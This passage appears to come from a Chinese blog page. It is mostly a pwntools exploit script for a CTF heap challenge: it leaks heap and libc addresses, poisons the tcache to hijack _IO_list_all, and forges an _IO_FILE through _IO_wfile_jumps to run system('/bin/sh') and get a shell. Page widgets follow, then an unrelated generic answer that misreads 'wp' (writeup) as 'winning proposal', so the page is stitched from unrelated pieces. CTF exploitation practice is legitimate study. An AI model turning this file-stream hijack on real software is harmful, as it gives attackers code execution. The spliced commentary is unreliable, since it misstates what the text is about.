ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))

def lg(s):
    success("%s >> 0x%x" % (s, eval(s)))
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
        pause()
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
        pause()
def cmd(op):
    sla("> ",str(op))

def add(index,size):
    cmd(1)
    sla("Index:",str(index))
    sla("what size :",str(size))

def free(index):
    cmd(2)
    sla("Index:",str(index))

def show(index):
    cmd(3)
    sla("Index:",str(index))

def edit(index,content):
    cmd(4)
    sla("Index:",str(index))
    sla("content: ",content)

add(0,0x78)
add(1,0x78)
free(0)
show(0)
key = uu64(rc(5)[-5:])
heap_base = key << 12
lg("key")
lg("heap_base")
add(0,0x78)

add(2,0x428)
add(3,0x10)
add(4,0x418)
free(2)
add(5,0x1000)
show(2)
libc_base = uu64(ru(b'\x7f')[-6:]) - 0x21a0d0
io_list_all = libc_base + 0x21a680
system = libc_base + 0x50d70
binsh = libc_base + 0x1d8698
IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
lg("libc_base")
lg("io_list_all")
lg("system")
lg("binsh")
lg("IO_wfile_jumps")

add(6,0x20)
add(7,0x20)
add(8,0x20)
add(9,0x20)
free(6)
free(7)
free(8)
edit(8,p64(io_list_all^key))
add(9,0x20)
add(10,0x20)
edit(10,p64(heap_base + 0x7f0))

fake_io_addr = heap_base + 0x7f0  #index 5
flag_addr = heap_base

fake_IO_FILE =  b"/bin/sh\x00"         #_flags=rdi
fake_IO_FILE += p64(0)*7
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE += p64(system)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE =  fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE =  fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(flag_addr)  # _lock = a writable address
fake_IO_FILE =  fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE =  fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE =  fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps+0x30)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

edit(4,fake_IO_FILE)

cmd(5)

ia()
  • 18
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
2021陇剑线下wp指的是该比的胜利方案(Winning Proposal)。这个问题的答案取决于具体的比和题目,因此我无法提供具体的场景和情况。不过,我可以向你介绍一些常见的比wp示例,帮助你理解wp的含义。 通常,比wp是指参者提出的在比中胜出的最佳方案。这种方案可能涉及各种因素,包括创新性、技术实施、解决问题的方法和效率等。具体来说,一个好的wp可能包括以下几个要素: 1. 题目分析:清晰理解比的题目和要求,明确问题的关键点和目标。 2. 解决方案:提出独特、创新和可行的解决方案,展示自己的技术和专业知识。 3. 实施计划:描述实施该方案的详细步骤和时间表,包括资源的分配和团队协作。 4. 风险分析:识别潜在的风险和挑战,并提供解决方法和备选方案。 5. 评估指标:明确关键的评估指标和成功的标准,展示方案的效果和可衡量的结果。 在许多比中,评委会或专家小组会对参者提交的wp进行评审,选出最佳的方案。一个优秀的wp将会体现出创新性、可行性和适应性。并且,一个优秀的方案通常能够提供有说服力的理由来解释为什么这个方案是最好的,以及为什么它比其他方案更优秀。 总的来说,2021陇剑线下wp是指在比中成功的方案,这个方案提供了创新、可行和有效的解决问题的方法,并且能够清晰地展示其技术和团队的能力。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值